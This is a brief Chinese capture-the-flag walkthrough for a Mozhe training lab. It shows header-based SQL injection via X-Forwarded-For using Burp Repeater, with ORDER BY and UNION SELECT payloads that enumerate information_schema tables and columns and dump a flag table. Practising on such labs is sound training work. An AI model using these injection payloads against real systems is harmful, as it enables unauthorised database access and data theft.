进入墨者的任性网页,burp截取数据包,send to repeater
加入X-Forwarded-For
判断注入点
判断列数 order by N,发现表数量是4
回显,union select 1,2,3,4
显示表名union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())
显示列名union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’)
显示flag,union select 1,2,3,(select group_concat(flag) from flag)
得到flag,输入得到key